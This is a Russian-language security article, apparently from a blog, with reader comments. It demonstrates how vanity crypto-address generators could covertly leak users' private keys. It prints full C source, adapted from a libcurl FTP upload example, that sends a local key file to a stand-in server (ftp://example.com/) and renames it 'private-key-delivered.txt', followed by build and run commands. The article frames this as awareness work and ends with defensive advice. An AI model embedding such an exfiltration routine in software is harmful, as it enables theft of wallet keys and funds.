В криптосообществе за многие годы образовался целый культ по созданию красивых адресов для криптокошельков. Каждый желающий может сгенерировать для себя «красивый» адрес, который будет не только уникальным, но и будет иметь в себе определенное сочетание букв и цифр. Это очень увлекательный и интересный процесс, но нельзя полностью исключать риск, связанный с привлечением третьей стороны и перехватом приватного ключа к криптокошельку. Все мы когда-либо слышали о независимых агрегаторах CoinMarketCap и CoinGecko это самые популярные площадки для отслеживая цен на бирже, но в этой статье мы не будем рассматривать механизмы и функции этих площадок. Речь пойдет о скрытых кодах в vanitygen + oclvanitygen и стремительное распространение их на популярных площадках.

Это исследовательский проект создан в целях информационной безопасности.

Многим пользователям не устраивают стандартные рандомные адреса криптокошелька и именно по этой причине они используют различные программы, утилиты и плагины для создание красивых криптовалютных адресов.

Согласно порталу TAdviser жертвами все чаще становятся из-за использование не проверенное программное обеспечение.

Coingecko-VanityGen - это утилита, работающая через командную строку, которая способна генерировать криптовалютные адреса по заданным первоначальным параметрам.

Исходный код "Coingecko-VanityGen" для создания персонализированных адресов.
Исходный код "Coingecko-VanityGen" для создания персонализированных адресов.

Подбор утилиты основан на вероятностном поиске, на который требуется некоторое время.
Время зависит от сложности заданного шаблона, скорости компьютера и удачливости. Для повышение скорости генерации криптовалютных адресов существует oclvanitygen – который использует OpenCLсовместимые GPU

Во многих наших исследованиях мы используем Google Colab и для собственного ознакомления мы сделаем разбор для файлов Coingecko-VanityGen в репозитории 12CoingeckoAgentFtpupload

Coingecko-VanityGen работает при помощи поддержки среды выполнения графического процессора (Google Colab) и по собственным параметрам генерирует красивые адреса криптокошельков для полного списка агрегатора Coingecko.

Как сохранить приватные ключи?

Чтобы понять и разобраться мы перейдем к экспериментальной части:

Откроем [TerminalGoogleColab].

Воспользуемся репозиторием «12CoingeckoAgentFtpupload».

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/12CoingeckoAgentFtpupload/

ls

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Сборка:

make

Запустим команду: ls и мы видим что coingeckogen создан успешно!


Запустим LIST и проверим все существующие криптовалюты из агрегатора CoinGecko

./coingeckogen -C LIST

Запустим "coingeckogen" и сгенерируем Биткоин Адрес с префиксом "1DEEP":

./coingeckogen 1DEEP
Pattern: 1DEEP
Address: 1DEEPQxozZXeUmuVZxKb7JjHq28DhX99AG
Privkey: 5JdG1jvsDgHrS8E8NpRLabzrA1tCbR6ePp9zvv1q1dV6efpSqMH
crypto > 

Откроем bitaddress и проверим:

bitaddress
bitaddress

Почему скомпилированные программы могут раскрыть приватные ключи?

www.securitylab.ru/news/531888.php
www.securitylab.ru/news/531888.php

Вы можете ознакомится статьей в информационном портале SecurityLab

В исходный код программы может быть вшит секретный код:

Обратите внимание на код ftpupload.c

cURL — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL.

Этот код может отправить приватные ключи в FTP - сервер злоумышленника

/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2022, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at https://curl.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * SPDX-License-Identifier: curl
 *
 ***************************************************************************/
#include <stdio.h>
#include <string.h>
 
#include <curl/curl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#ifdef WIN32
#include <io.h>
#else
#include <unistd.h>
#endif
 
/* <DESC>
 * Performs an FTP upload and renames the file just after a successful
 * transfer.
 * </DESC>
 */
 
#define LOCAL_FILE      "/tmp/Result.txt"
#define UPLOAD_FILE_AS  "Result.txt"
#define REMOTE_URL      "ftp://example.com/"  UPLOAD_FILE_AS
#define RENAME_FILE_TO  "private-key-delivered.txt"
 
/* NOTE: if you want this example to work on Windows with libcurl as a
   DLL, you MUST also provide a read callback with CURLOPT_READFUNCTION.
   Failing to do so will give you a crash since a DLL may not use the
   variable's memory when passed in to it from an app like this. */
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *stream)
{
  unsigned long nread;
  /* in real-world cases, this would probably get this data differently
     as this fread() stuff is exactly what the library already would do
     by default internally */
  size_t retcode = fread(ptr, size, nmemb, stream);
 
  if(retcode > 0) {
    nread = (unsigned long)retcode;
    fprintf(stderr, "*** We read %lu bytes from file\n", nread);
  }
 
  return retcode;
}
 
int main(void)
{
  CURL *curl;
  CURLcode res;
  FILE *hd_src;
  struct stat file_info;
  unsigned long fsize;
 
  struct curl_slist *headerlist = NULL;
  static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS;
  static const char buf_2 [] = "RNTO " RENAME_FILE_TO;
 
  /* get the file size of the local file */
  if(stat(LOCAL_FILE, &file_info)) {
    printf("Couldn't open '%s': %s\n", LOCAL_FILE, strerror(errno));
    return 1;
  }
  fsize = (unsigned long)file_info.st_size;
 
  printf("Local file size: %lu bytes.\n", fsize);
 
  /* get a FILE * of the same file */
  hd_src = fopen(LOCAL_FILE, "rb");
 
  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);
 
  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* build a list of commands to pass to libcurl */
    headerlist = curl_slist_append(headerlist, buf_1);
    headerlist = curl_slist_append(headerlist, buf_2);
 
    /* we want to use our own read function */
    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
 
    /* enable uploading */
    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
 
    /* specify target */
    curl_easy_setopt(curl, CURLOPT_URL, REMOTE_URL);
 
    /* pass in that last of FTP commands to run after the transfer */
    curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist);
 
    /* now specify which file to upload */
    curl_easy_setopt(curl, CURLOPT_READDATA, hd_src);
 
    /* Set the size of the file to upload (optional).  If you give a *_LARGE
       option you MUST make sure that the type of the passed-in argument is a
       curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must
       make sure that to pass in a type 'long' argument. */
    curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,
                     (curl_off_t)fsize);
 
    /* Now run off and do what you have been told! */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));
 
    /* clean up the FTP commands list */
    curl_slist_free_all(headerlist);
 
    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  fclose(hd_src); /* close the local file */
 
  curl_global_cleanup();
  return 0;
}

Для теста загрузим файл ftpupload.c в каталог «12CoingeckoAgentFtpupload»

Скомпилируем Agent Ftpupload:

gcc -o agentftpupload ftpupload.c -lcurl

Права доступа:

chmod +x agentftpupload
./agentftpupload

Процесс перехвата приватного ключа:

Как мы говорили выше чтобы понять как происходит перехват приватного ключа запустим пошагово все команды из исходного кода. Для этого мы создадим тестовый сервер с каталогом «cryptodeeptech»:

Процесс перехвата приватного ключа
Процесс перехвата приватного ключа

Как мы видим из демонстрационного примера в тестовый сервер был загружен файл: private-key-delivered.txt

private-key-delivered.txt - это файл где содержится приватные ключи пользователя программного обеспечение.

Весь процесс происходит скрыто от пользователя.

Мы настоятельно рекомендуем:

  • использовать только проверенное ПО;

  • ознакомиться с исходным кодом;

  • делать сборку самостоятельно;

  • делать обновление;

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegramhttps://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/sB91EE-1mJo

Источник: https://cryptodeep.ru/coingecko-agent-ftpupload


Комментарии (8)


  1. BOGATEYES
    11.09.2022 21:27

    Благодарю. Будем мониторить и искать файл ftpupload.c во всех исходниках


  1. pohjalainen
    11.09.2022 21:36

    Многим пользователям не устраивают стандартные рандомные адреса

    Многих авторов не знают падежов русский языка


    1. Panzer_Ex
      11.09.2022 22:05
      +1

      Гугель Транслейт цигель цигель ай люлю на Хабра :)


  1. dopusteam
    12.09.2022 08:00

    А есть примеры "красивых" адресов или всё сводится к наличию небольшой подстроки в адресе?


    1. knstqq
      13.09.2022 07:26

      Утверждается, что в случае если адрес красивый (начинается с особой подстроки), то пользователи валидируют вместо условных первых и последних 6-10 символов гораздо больше символов. А это снижает вероятность фишинга или подмены адреса до почти нуля (очень трудно сгенерировать такой адрес).
      Это потому что гораздо проще запомнить и сравнить «DONATEgai0ai» из «DONATEgai0aiN3Eey4aiKae1se» чем 12 случайных символов «Eey4aiKae1se», а люди по своей природе ленивы сравнивать весь адрес целиком.

      Так что да, «красивые» адреса это адреса начинающиеся с небольшой подстроки (4-6 символов для CPU, или 8 для GPU/ASIC)


  1. habrabkin
    12.09.2022 15:09

    Рандомно или не рандомно генерируются адреса и ключи. Вот в чём вопрос.


  1. lohmatij
    12.09.2022 17:12

    А нельзя как-то скачать репозиторий, и потом тупо отрубить выход в интернет блокноту?

    То есть идея в том, что адрес и ключ можно будет скопировать через copy/paste, а вот никакие вшитые клиенты ни на какие серверы ничего не передадут.


  1. GoRoot
    12.09.2022 19:12
    -2

    Великолепная работа, благодарю.

    С каждым разом всё интереснее.